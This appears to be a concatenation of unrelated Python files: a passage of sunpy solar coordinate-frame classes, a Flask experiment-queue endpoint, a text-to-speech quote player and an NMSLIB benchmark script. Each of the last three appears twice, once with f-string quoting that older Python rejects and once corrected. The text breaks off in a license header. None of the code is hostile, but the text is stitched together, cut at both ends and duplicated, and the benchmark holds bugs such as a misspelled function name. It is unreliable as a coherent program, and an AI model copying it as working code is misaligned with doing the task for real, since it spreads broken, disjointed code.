45.04442252)> Notes ----- This frame will always be converted a 3D frame where the radius defaults to ``rsun``. """ name = "heliographic_stonyhurst" @add_common_docstring(**_frame_parameters()) class HeliographicCarrington(BaseHeliographic): """ A coordinate or frame in the Carrington Heliographic (HGC) system. - The origin is the center of the Sun. - The Z-axis (+90 degrees latitude) is aligned with the Sun's north pole. - The X-axis and Y-axis rotate with a period of 25.38 days. This system differs from Stonyhurst Heliographic (HGS) in its definition of longitude. A new instance can be created using the following signatures (note that if supplied, ``obstime`` must be a keyword argument):: HeliographicCarrington(lon, lat, obstime=obstime) HeliographicCarrington(lon, lat, radius, obstime=obstime) Parameters ---------- {data} {lonlat} {radius} {common} Examples -------- >>> from astropy.coordinates import SkyCoord >>> import sunpy.coordinates >>> import astropy.units as u >>> sc = SkyCoord(1*u.deg, 2*u.deg, 3*u.km, ... frame="heliographic_carrington", ... obstime="2010/01/01T00:00:30") >>> sc <SkyCoord (HeliographicCarrington: obstime=2010-01-01T00:00:30.000): (lon, lat, radius) in (deg, deg, km) (1., 2., 3.)> >>> sc = SkyCoord([1,2,3]*u.deg, [4,5,6]*u.deg, [5,6,7]*u.km, ... obstime="2010/01/01T00:00:45", frame="heliographic_carrington") >>> sc <SkyCoord (HeliographicCarrington: obstime=2010-01-01T00:00:45.000): (lon, lat, radius) in (deg, deg, km) [(1., 4., 5.), (2., 5., 6.), (3., 6., 7.)]> >>> sc = SkyCoord(CartesianRepresentation(0*u.km, 45*u.km, 2*u.km), ... obstime="2011/01/05T00:00:50", ... frame="heliographic_carrington") >>> sc <SkyCoord (HeliographicCarrington: obstime=2011-01-05T00:00:50.000): (lon, lat, radius) in (deg, deg, km) (90., 2.54480438, 45.04442252)> """ name = "heliographic_carrington" _wrap_angle = 360*u.deg @add_common_docstring(**_frame_parameters()) class Heliocentric(SunPyBaseCoordinateFrame): """ A coordinate or frame in the Heliocentric system, which is observer-based. - The origin is the center of the Sun. - The Z-axis is aligned with the Sun-observer line. - The Y-axis is aligned with the component of the vector to the Sun's north pole that is perpendicular to the Z-axis. This frame defaults to a Cartesian component representation, which is known as Heliocentric Cartesian (HCC). This frame can also be represented using cylindrical components, where where ``rho`` is the impact parameter and ``psi`` is the position angle. ``psi`` is measured relative to the west limb, rather than solar north, so is shifted by 90 degrees compared to the convention of the Heliocentric Radial (HCR) system. A new instance can be created using the following signatures (note that if supplied, ``obstime``, ``observer``, and ``representation_type`` must be keyword arguments):: Heliocentric(x, y, z, obstime=obstime, observer=observer) Heliocentric(rho, psi, z, representation_type='cylindrical', obstime=obstime, observer=observer) Parameters ---------- {data} {xyz} {observer} {common} Examples -------- >>> from astropy.coordinates import SkyCoord, CartesianRepresentation >>> import sunpy.coordinates >>> import astropy.units as u >>> sc = SkyCoord(CartesianRepresentation(10*u.km, 1*u.km, 2*u.km), ... obstime="2011/01/05T00:00:50", observer="earth", frame="heliocentric") >>> sc <SkyCoord (Heliocentric: obstime=2011-01-05T00:00:50.000, observer=<HeliographicStonyhurst Coordinate for 'earth'>): (x, y, z) in km (10., 1., 2.)> >>> sc = SkyCoord([1,2]*u.km, [3,4]*u.m, [5,6]*u.cm, ... obstime="2011/01/01T00:00:54", observer="earth", frame="heliocentric") >>> sc <SkyCoord (Heliocentric: obstime=2011-01-01T00:00:54.000, observer=<HeliographicStonyhurst Coordinate for 'earth'>): (x, y, z) in (km, m, cm) [(1., 3., 5.), (2., 4., 6.)]> >>> sc = SkyCoord(CylindricalRepresentation(10*u.km, 60*u.deg, 10*u.km), ... obstime="2011/01/05T00:00:50", observer="earth", frame="heliocentric") >>> sc <SkyCoord (Heliocentric: obstime=2011-01-05T00:00:50.000, observer=<HeliographicStonyhurst Coordinate for 'earth'>): (x, y, z) in km (5., 8.66025404, 10.)> """ default_representation = CartesianRepresentation frame_specific_representation_info = { CylindricalRepresentation: [RepresentationMapping('phi', 'psi', u.deg)] } observer = ObserverCoordinateAttribute(HeliographicStonyhurst) @add_common_docstring(**_frame_parameters()) class Helioprojective(SunPyBaseCoordinateFrame): """ A coordinate or frame in the Helioprojective Cartesian (HPC) system, which is observer-based. - The origin is the location of the observer. - ``theta_x`` is the angle relative to the plane containing the Sun-observer line and the Sun's rotation axis, with positive values in the direction of the Sun's west limb. - ``theta_y`` is the angle relative to the Sun's equatorial plane, with positive values in the direction of the Sun's north pole. - ``distance`` is the Sun-observer distance. This system is frequently used in a projective form without ``distance`` specified. For observations looking very close to the center of the Sun, where the small-angle approximation is appropriate, ``theta_x`` and ``theta_y`` can be approximated as Cartesian components. A new instance can be created using the following signatures (note that if supplied, ``obstime`` and ``observer`` must be keyword arguments):: Helioprojective(theta_x, theta_y, obstime=obstime, observer=observer) Helioprojective(theta_x, theta_y, distance, obstime=obstime, observer=observer) Parameters ---------- {data} Tx : `~astropy.coordinates.Angle` or `~astropy.units.Quantity` The theta_x coordinate for this object. Not needed if ``data`` is given. Ty : `~astropy.coordinates.Angle` or `~astropy.units.Quantity` The theta_y coordinate for this object. Not needed if ``data`` is given. distance : `~astropy.units.Quantity` The distance coordinate from the observer for this object. Not needed if ``data`` is given. {observer} rsun : `~astropy.units.Quantity` The physical (length) radius of the Sun. Used to calculate the position of the limb for calculating distance from the observer to the coordinate. Defaults to the solar radius. {common} Examples -------- >>> from astropy.coordinates import SkyCoord >>> import sunpy.coordinates >>> import astropy.units as u >>> sc = SkyCoord(0*u.deg, 0*u.deg, 5*u.km, ... obstime="2010/01/01T00:00:00", observer="earth", frame="helioprojective") >>> sc <SkyCoord (Helioprojective: obstime=2010-01-01T00:00:00.000, rsun=695700.0 km, observer=<HeliographicStonyhurst Coordinate for 'earth'>): (Tx, Ty, distance) in (arcsec, arcsec, km) (0., 0., 5.)> >>> sc = SkyCoord(0*u.deg, 0*u.deg, ... obstime="2010/01/01T00:00:00", observer="earth", frame="helioprojective") >>> sc <SkyCoord (Helioprojective: obstime=2010-01-01T00:00:00.000, rsun=695700.0 km, observer=<HeliographicStonyhurst Coordinate for 'earth'>): (Tx, Ty) in arcsec (0., 0.)> >>> sc = SkyCoord(CartesianRepresentation(1*u.AU, 1e5*u.km, -2e5*u.km), ... obstime="2011/01/05T00:00:50", observer="earth", frame="helioprojective") >>> sc <SkyCoord (Helioprojective: obstime=2011-01-05T00:00:50.000, rsun=695700.0 km, observer=<HeliographicStonyhurst Coordinate for 'earth'>): (Tx, Ty, distance) in (arcsec, arcsec, AU) (137.87948623, -275.75878762, 1.00000112)> """ default_representation = SphericalRepresentation frame_specific_representation_info = { SphericalRepresentation: [RepresentationMapping(reprname='lon', framename='Tx', defaultunit=u.arcsec), RepresentationMapping(reprname='lat', framename='Ty', defaultunit=u.arcsec), RepresentationMapping(reprname='distance', framename='distance', defaultunit=None)], UnitSphericalRepresentation: [RepresentationMapping(reprname='lon', framename='Tx', defaultunit=u.arcsec), RepresentationMapping(reprname='lat', framename='Ty', defaultunit=u.arcsec)], } rsun = Attribute(default=_RSUN.to(u.km)) observer = ObserverCoordinateAttribute(HeliographicStonyhurst) def make_3d(self): """ This method calculates the third coordinate of the Helioprojective frame. It assumes that the coordinate point is on the surface of the Sun. If a point in the frame is off limb then NaN will be returned. Returns ------- new_frame : `~sunpy.coordinates.frames.Helioprojective` A new frame instance with all the attributes of the original but now with a third coordinate. """ # Skip if we already are 3D distance = self.spherical.distance if not (distance.unit is u.one and u.allclose(distance, 1*u.one)): return self if not isinstance(self.observer, BaseCoordinateFrame): raise ConvertError("Cannot calculate distance to the Sun " f"for observer '{self.observer}' " "without `obstime` being specified.") rep = self.represent_as(UnitSphericalRepresentation) lat, lon = rep.lat, rep.lon alpha = np.arccos(np.cos(lat) * np.cos(lon)).to(lat.unit) c = self.observer.radius**2 - self.rsun**2 b = -2 * self.observer.radius * np.cos(alpha) # Ingore sqrt of NaNs with np.errstate(invalid='ignore'): d = ((-1*b) - np.sqrt(b**2 - 4*c)) / 2 return self.realize_frame(SphericalRepresentation(lon=lon, lat=lat, distance=d)) # Support the previous name for make_3d for now calculate_distance = deprecated('1.1', name="calculate_distance", alternative="make_3d")(make_3d) @add_common_docstring(**_frame_parameters()) class HeliocentricEarthEcliptic(SunPyBaseCoordinateFrame): """ A coordinate or frame in the Heliocentric Earth Ecliptic (HEE) system. - The origin is the center of the Sun. - The X-axis (0 degrees longitude and 0 degrees latitude) is aligned with the Sun-Earth line. - The Z-axis (+90 degrees latitude) is aligned with the component perpendicular to the X-axis of the mean ecliptic pole at the observation time. Parameters ---------- {data} {lonlat} {distance_sun} {common} """ default_representation = SphericalRepresentation @add_common_docstring(**_frame_parameters()) class GeocentricSolarEcliptic(SunPyBaseCoordinateFrame): """ A coordinate or frame in the Geocentric Solar Ecliptic (GSE) system. - The origin is the center of the Earth. - The X-axis (0 degrees longitude and 0 degrees latitude) is aligned with the Earth-Sun line. - The Z-axis (+90 degrees latitude) is aligned with the component perpendicular to the X-axis of the mean ecliptic pole at the observation time. Parameters ---------- {data} {lonlat} {distance_earth} {common} Notes ----- Aberration due to Earth motion is not included. """ default_representation = SphericalRepresentation @add_common_docstring(**_frame_parameters()) class HeliocentricInertial(SunPyBaseCoordinateFrame): """ A coordinate or frame in the Heliocentric Inertial (HCI) system. - The origin is the center of the Sun. - The Z-axis (+90 degrees latitude) is aligned with the Sun's north pole. - The X-axis (0 degrees longitude and 0 degrees latitude) is aligned with the solar ascending node on the ecliptic (mean J2000.0). Parameters ---------- {data} {lonlat} {distance_sun} {common} Notes ----- The solar ascending node on the ecliptic lies on the intersection of the solar equatorial plane with the ecliptic plane, not on the intersection of the celestial equatorial plane with the ecliptic plane. """ default_representation = SphericalRepresentation @add_common_docstring(**_frame_parameters()) class GeocentricEarthEquatorial(SunPyBaseCoordinateFrame): """ A coordinate or frame in the Geocentric Earth Equatorial (GEI) system. - The origin is the center of the Earth. - The Z-axis (+90 degrees latitude) is aligned with the Earth's north pole. - The X-axis (0 degrees longitude and 0 degrees latitude) is aligned with the mean (not true) vernal equinox. Parameters ---------- {data} {lonlat} {distance_earth} {equinox} {common} Notes ----- Aberration due to Earth motion is not included. """ default_representation = SphericalRepresentation equinox = TimeFrameAttributeSunPy(default=_J2000)
from flask import jsonify, request, abort from Status import ExecutionQueue from Data import ExperimentDescriptor from Scheduler.dispatcher import bp from Helper import Log @bp.route('/run', methods=['POST']) def start(): try: data = request.json Log.I("Received execution request") Log.D(f"Payload: {data}") if data is None: raise RuntimeError("Received empty payload") descriptor = ExperimentDescriptor(data) valid, reasons = descriptor.ValidityCheck if not valid: raise RuntimeError(f'Invalid experiment description: {'; '.join(reasons)}') params = {'Descriptor': descriptor} executionId = ExecutionQueue.Create(params).Id return jsonify({'ExecutionId': executionId}) except Exception as e: message = f"Exception while processing execution request: {e}" Log.W(message) return abort(400, message)
from flask import jsonify, request, abort from Status import ExecutionQueue from Data import ExperimentDescriptor from Scheduler.dispatcher import bp from Helper import Log @bp.route('/run', methods=['POST']) def start(): try: data = request.json Log.I("Received execution request") Log.D(f"Payload: {data}") if data is None: raise RuntimeError("Received empty payload") descriptor = ExperimentDescriptor(data) valid, reasons = descriptor.ValidityCheck if not valid: raise RuntimeError(f'Invalid experiment description: {"; ".join(reasons)}') params = {'Descriptor': descriptor} executionId = ExecutionQueue.Create(params).Id return jsonify({'ExecutionId': executionId}) except Exception as e: message = f"Exception while processing execution request: {e}" Log.W(message) return abort(400, message)
from gtts import gTTS from playsound import playsound from os import remove from requests import get def rand_quotes(): res = get("https://zenquotes.io/api/random").json()[0] return f'{res['q']} by {res['a']}' def day_quotes(): res = get("https://zenquotes.io/api/today").json()[0] return f'{res['q']} by {res['a']}' def say(text): gTTS(text=text, lang="en", slow=False).save("temp.mp3") playsound("C:\\Users\\DELL\\Documents\\motivator\\temp.mp3") remove("C:\\Users\\DELL\\Documents\\motivator\\temp.mp3") if __name__ == "__main__": print("type `help` or `?` to hear motivational quotes") while True: inp = input("==>") if inp == "?" or inp == "help": print( """ Commands: Random quote (r) Quote of the day (t) Exit (e) """ ) if inp == "r": say(rand_quotes()) if inp == "t": say(day_quotes()) if inp == "e": print("bye bye :) ") break
from gtts import gTTS from playsound import playsound from os import remove from requests import get def rand_quotes(): res = get("https://zenquotes.io/api/random").json()[0] return f'{res["q"]} by {res["a"]}' def day_quotes(): res = get("https://zenquotes.io/api/today").json()[0] return f'{res["q"]} by {res["a"]}' def say(text): gTTS(text=text, lang="en", slow=False).save("temp.mp3") playsound("C:\\Users\\DELL\\Documents\\motivator\\temp.mp3") remove("C:\\Users\\DELL\\Documents\\motivator\\temp.mp3") if __name__ == "__main__": print("type `help` or `?` to hear motivational quotes") while True: inp = input("==>") if inp == "?" or inp == "help": print( """ Commands: Random quote (r) Quote of the day (t) Exit (e) """ ) if inp == "r": say(rand_quotes()) if inp == "t": say(day_quotes()) if inp == "e": print("bye bye :) ") break
#!/usr/bin/env python import sys import argparse import nmslib import json DEFAULT_HNSW_INDEX_TIME_PARAM = {'M': 20, 'efConstruction': 200, 'post': 0} DEFAULT_QUERY_QTY=5000 from eval import * from datasets import * from data_utils import * sys.path.append('.') TestCase = collections.namedtuple('TestCase', 'dataset_name dist_type K method_name index_time_params query_time_param_arr') ExpandExperResult = collections.namedtuple('ExpandExperResult', 'case_id nmslib_version ' 'dataset_name dist_type K ' 'is_binary is_index_reload ' 'repeat_qty query_qty max_data_qty ' 'num_threads ' 'result_list') DEFAULT_HSNW_QUERY_TIME_PARAM_ARR = [{'ef':25}, {'ef': 50}, {'ef':100}, {'ef':250}, {'ef':500}, {'ef':1000}, {'ef': 2000 }] TEST_CASES = [ # DENSE DATA # L1 SIFT TestCase(dataset_name=SIFT1M, dist_type=DIST_L1, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # L2 SIFT TestCase(dataset_name=SIFT1M, dist_type=DIST_L2, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), TestCase(dataset_name=SIFT1M, dist_type=DIST_L2, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # TODO # L3 requires passing space parameters, but this unfortunately is broken currently # L3 SIFT # TestCase(dataset_name=SIFT1M, dist_type=DIST_L3, K=10, method_name=METHOD_HNSW, # index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # TestCase(dataset_name=SIFT1M, dist_type=DIST_L3, K=10, method_name=METHOD_HNSW, # index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # LINF SIFT TestCase(dataset_name=SIFT1M, dist_type=DIST_LINF, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # cosine GLOVE TestCase(dataset_name=GLOVE100D, dist_type=DIST_COSINE, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # inner product GLOVE TestCase(dataset_name=GLOVE100D, dist_type=DIST_INNER_PROD, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # KL-div FINAL32 TestCase(dataset_name=FINAL32, dist_type=DIST_KL_DIV, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # SPARSE DATA # cosine Wikipedia TestCase(dataset_name=WIKI250K, dist_type=DIST_COSINE, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # inner product Wikipedia TestCase(dataset_name=WIKI250K, dist_type=DIST_INNER_PROD, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), ] def main(): parser = argparse.ArgumentParser('NMSLIB benchmarks') parser.add_argument('--dataset_dir', metavar='dataset dir', help='a directory to store/retrieve datasets', type=str, required=True) parser.add_argument('--binding_ver', metavar='binding ver. to test', help='Specify this variable to test a specific version of bindings. ' 'Testing will be aborted if the version does not match', type=str, default=None) parser.add_argument('--binary_dir', metavar='NSMLIB binary dir', help='a directory with compiled NMSLIB binaries', type=str, default=None) parser.add_argument('--max_data_qty', metavar='max # of points', help='a max # of data points to use in a test', type=int, default=None) parser.add_argument('--repeat_qty', metavar='# of reps', help='# of times to repeat each test', type=int, default=3) parser.add_argument('--query_qty', metavar='# of queries', help='# queries', type=int, default=DEFAULT_QUERY_QTY) parser.add_argument('--num_threads', metavar='# of query threads', help='# of threads to use for querying (only)', type=int, default=4) parser.add_argument('--work_dir', metavar='working dir', type=str, help='a directory to store indices, gold standard files, etc.', required=True) parser.add_argument('--output', metavar='output file', type=str, help='a file to store benchmark results', required=True) parser.add_argument('--dist_type', metavar='distance type', type=str, help='an optional distance type (if specified we run tests only for this distance)', default=None, choices=[DIST_INNER_PROD, DIST_KL_DIV, DIST_COSINE, DIST_L1, DIST_L2, DIST_LINF]) parser.add_argument('--data_type', metavar='data type', type=str, help='an optional type of the data (if specified we run tests only for this data type)', default=None, choices=[VECTOR_DENSE, VECTOR_SPARSE]) parser.add_argument('--dataset_name', type=str, metavar='dataset name', help='an optional dataset type (if specified we run tests only for this dataset)', default=None) print(f'Installed version of NMSLIB bindings: {nmslib.__version__}') args = parser.parse_args() if args.binary_dir is None and args.binding_ver is None: print('You need to specify either --binary_dir or --binding_ver') sys.exit(1) # First make sure we have all the data download_and_process_data(args.dataset_dir) results = [] if args.binding_ver is not None: # Check installed bindings ver = nmslib.__version__ if ver != args.binding_ver: print('A mismatch between installed bindings version {ver} and requested one to test: {args.binding_ver}') sys.exit(1) for case_id, case in enumerate(TEST_CASES): if args.dataset_name is not None and args.dataset_name != case.dataset_name: print(f'Ignoring dataset {case.dataset_name}') continue if args.dist_type is not None and args.dist_type != case.dist_type: print(f'Ignoring distance {case.dist_type}') continue data_type = DATASET_DESC[case.dataset_name].type if args.data_type is not None and args.data_type != data_type: print(f'Ignoring data type {data_type}') continue if args.binding_ver is not None: # Python bindings test if data_type == VECTOR_DENSE: all_data = load_dense(os.path.join(args.dataset_dir, case.dataset_name )) elif data_type == VECTOR_SPARSE: all_data = load_sparse(os.path.join(args.dataset_dir, case.dataset_name )) else: raise Exception(f'Illegal data type: {prop.type}') data, queries = split_data(all_data, test_size=args.query_qty) result_dict = benchmark_bindings(work_dir=args.work_dir, dist_type=case.dist_type, data_type=data_type, method_name=case.method_name, index_time_params=case.index_time_params, query_time_param_arr=case.query_time_param_arr, data=data, queries=queries, K=case.K, repeat_qty=args.repeat_qty, num_threads=args.num_threads, max_data_qty=args.max_data_qty) for phase in [PHASE_NEW_INDEX, PHASE_RELOAD_INDEX]: results.append(ExpandExperResult(case_id=case_id, nmslib_version=nmslib.__version__, dataset_name=case.dataset_name, K=case.K, num_threads=args.num_threads, dist_type=case.dist_type, is_binary=False, is_index_reload=phase==PHASE_RELOAD_INDEX, repeat_qty=args.repeat_qty, query_qty=args.query_qty, max_data_qty=args.max_data_qty, result_list=result_dict[phase])._asdict()) if args.binary_dir is not None: result_dict = benchamrk_binary(work_dir=args.work_dir, binary_dir = args.binary_dir, dist_type=case.dist_type, data_type=data_type, method_name=case.method_name, index_time_params=case.index_time_params, query_time_param_arr=case.query_time_param_arr, data_file = os.path.join(args.dataset_dir, case.dataset_name + TEXT_SUFF), query_qty=args.query_qty, K=case.K, repeat_qty=args.repeat_qty, num_threads=args.num_threads, max_data_qty=args.max_data_qty) for phase in [PHASE_NEW_INDEX, PHASE_RELOAD_INDEX]: results.append(ExpandExperResult(case_id=case_id, nmslib_version=None, dataset_name=case.dataset_name, K=case.K, num_threads=args.num_threads, dist_type=case.dist_type, is_binary=True, is_index_reload=phase==PHASE_RELOAD_INDEX, repeat_qty=args.repeat_qty, query_qty=args.query_qty, max_data_qty=args.max_data_qty, result_list=result_dict[phase])._asdict()) with open(args.output, 'w') as f: json.dump(results, f, indent=4) # Indent for a pretty print if __name__ == "__main__": main()
#!/usr/bin/env python import sys import argparse import nmslib import json DEFAULT_HNSW_INDEX_TIME_PARAM = {'M': 20, 'efConstruction': 200, 'post': 0} DEFAULT_QUERY_QTY=5000 from eval import * from datasets import * from data_utils import * sys.path.append('.') TestCase = collections.namedtuple('TestCase', 'dataset_name dist_type K method_name index_time_params query_time_param_arr') ExpandExperResult = collections.namedtuple('ExpandExperResult', 'case_id nmslib_version ' 'dataset_name dist_type K ' 'is_binary is_index_reload ' 'repeat_qty query_qty max_data_qty ' 'num_threads ' 'result_list') DEFAULT_HSNW_QUERY_TIME_PARAM_ARR = [{'ef':25}, {'ef': 50}, {'ef':100}, {'ef':250}, {'ef':500}, {'ef':1000}, {'ef': 2000 }] TEST_CASES = [ # DENSE DATA # L1 SIFT TestCase(dataset_name=SIFT1M, dist_type=DIST_L1, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # L2 SIFT TestCase(dataset_name=SIFT1M, dist_type=DIST_L2, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), TestCase(dataset_name=SIFT1M, dist_type=DIST_L2, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # TODO # L3 requires passing space parameters, but this unfortunately is broken currently # L3 SIFT # TestCase(dataset_name=SIFT1M, dist_type=DIST_L3, K=10, method_name=METHOD_HNSW, # index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # TestCase(dataset_name=SIFT1M, dist_type=DIST_L3, K=10, method_name=METHOD_HNSW, # index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # LINF SIFT TestCase(dataset_name=SIFT1M, dist_type=DIST_LINF, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # cosine GLOVE TestCase(dataset_name=GLOVE100D, dist_type=DIST_COSINE, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # inner product GLOVE TestCase(dataset_name=GLOVE100D, dist_type=DIST_INNER_PROD, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # KL-div FINAL32 TestCase(dataset_name=FINAL32, dist_type=DIST_KL_DIV, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # SPARSE DATA # cosine Wikipedia TestCase(dataset_name=WIKI250K, dist_type=DIST_COSINE, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), # inner product Wikipedia TestCase(dataset_name=WIKI250K, dist_type=DIST_INNER_PROD, K=10, method_name=METHOD_HNSW, index_time_params=DEFAULT_HNSW_INDEX_TIME_PARAM, query_time_param_arr=DEFAULT_HSNW_QUERY_TIME_PARAM_ARR), ] def main(): parser = argparse.ArgumentParser('NMSLIB benchmarks') parser.add_argument('--dataset_dir', metavar='dataset dir', help='a directory to store/retrieve datasets', type=str, required=True) parser.add_argument('--binding_ver', metavar='binding ver. to test', help='Specify this variable to test a specific version of bindings. ' 'Testing will be aborted if the version does not match', type=str, default=None) parser.add_argument('--binary_dir', metavar='NSMLIB binary dir', help='a directory with compiled NMSLIB binaries', type=str, default=None) parser.add_argument('--max_data_qty', metavar='max # of points', help='a max # of data points to use in a test', type=int, default=None) parser.add_argument('--repeat_qty', metavar='# of reps', help='# of times to repeat each test', type=int, default=3) parser.add_argument('--query_qty', metavar='# of queries', help='# queries', type=int, default=DEFAULT_QUERY_QTY) parser.add_argument('--num_threads', metavar='# of query threads', help='# of threads to use for querying (only)', type=int, default=4) parser.add_argument('--work_dir', metavar='working dir', type=str, help='a directory to store indices, gold standard files, etc.', required=True) parser.add_argument('--output', metavar='output file', type=str, help='a file to store benchmark results', required=True) parser.add_argument('--dist_type', metavar='distance type', type=str, help='an optional distance type (if specified we run tests only for this distance)', default=None, choices=[DIST_INNER_PROD, DIST_KL_DIV, DIST_COSINE, DIST_L1, DIST_L2, DIST_LINF]) parser.add_argument('--data_type', metavar='data type', type=str, help='an optional type of the data (if specified we run tests only for this data type)', default=None, choices=[VECTOR_DENSE, VECTOR_SPARSE]) parser.add_argument('--dataset_name', type=str, metavar='dataset name', help='an optional dataset type (if specified we run tests only for this dataset)', default=None) print(f'Installed version of NMSLIB bindings: {nmslib.__version__}') args = parser.parse_args() if args.binary_dir is None and args.binding_ver is None: print('You need to specify either --binary_dir or --binding_ver') sys.exit(1) # First make sure we have all the data download_and_process_data(args.dataset_dir) results = [] if args.binding_ver is not None: # Check installed bindings ver = nmslib.__version__ if ver != args.binding_ver: print('A mismatch between installed bindings version {ver} and requested one to test: {args.binding_ver}') sys.exit(1) for case_id, case in enumerate(TEST_CASES): if args.dataset_name is not None and args.dataset_name != case.dataset_name: print(f'Ignoring dataset {case.dataset_name}') continue if args.dist_type is not None and args.dist_type != case.dist_type: print(f'Ignoring distance {case.dist_type}') continue data_type = DATASET_DESC[case.dataset_name].type if args.data_type is not None and args.data_type != data_type: print(f'Ignoring data type {data_type}') continue if args.binding_ver is not None: # Python bindings test if data_type == VECTOR_DENSE: all_data = load_dense(os.path.join(args.dataset_dir, case.dataset_name )) elif data_type == VECTOR_SPARSE: all_data = load_sparse(os.path.join(args.dataset_dir, case.dataset_name )) else: raise Exception(f'Illegal data type: {prop.type}') data, queries = split_data(all_data, test_size=args.query_qty) result_dict = benchmark_bindings(work_dir=args.work_dir, dist_type=case.dist_type, data_type=data_type, method_name=case.method_name, index_time_params=case.index_time_params, query_time_param_arr=case.query_time_param_arr, data=data, queries=queries, K=case.K, repeat_qty=args.repeat_qty, num_threads=args.num_threads, max_data_qty=args.max_data_qty) for phase in [PHASE_NEW_INDEX, PHASE_RELOAD_INDEX]: results.append(ExpandExperResult(case_id=case_id, nmslib_version=nmslib.__version__, dataset_name=case.dataset_name, K=case.K, num_threads=args.num_threads, dist_type=case.dist_type, is_binary=False, is_index_reload=phase==PHASE_RELOAD_INDEX, repeat_qty=args.repeat_qty, query_qty=args.query_qty, max_data_qty=args.max_data_qty, result_list=result_dict[phase])._asdict()) if args.binary_dir is not None: result_dict = benchamrk_binary(work_dir=args.work_dir, binary_dir = args.binary_dir, dist_type=case.dist_type, data_type=data_type, method_name=case.method_name, index_time_params=case.index_time_params, query_time_param_arr=case.query_time_param_arr, data_file = os.path.join(args.dataset_dir, case.dataset_name + TEXT_SUFF), query_qty=args.query_qty, K=case.K, repeat_qty=args.repeat_qty, num_threads=args.num_threads, max_data_qty=args.max_data_qty) for phase in [PHASE_NEW_INDEX, PHASE_RELOAD_INDEX]: results.append(ExpandExperResult(case_id=case_id, nmslib_version=None, dataset_name=case.dataset_name, K=case.K, num_threads=args.num_threads, dist_type=case.dist_type, is_binary=True, is_index_reload=phase==PHASE_RELOAD_INDEX, repeat_qty=args.repeat_qty, query_qty=args.query_qty, max_data_qty=args.max_data_qty, result_list=result_dict[phase])._asdict()) with open(args.output, 'w') as f: json.dump(results, f, indent=4) # Indent for a pretty print if __name__ == "__main__": main()
#!/usr/bin/env python3 """ Adapted from https://github.com/numba/conda-recipe-cudatoolkit BSD 2-Clause License Copyright (c) 2018 Onwards, Quansight, LLC Copyright (c) 2017, Continuum Analytics, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 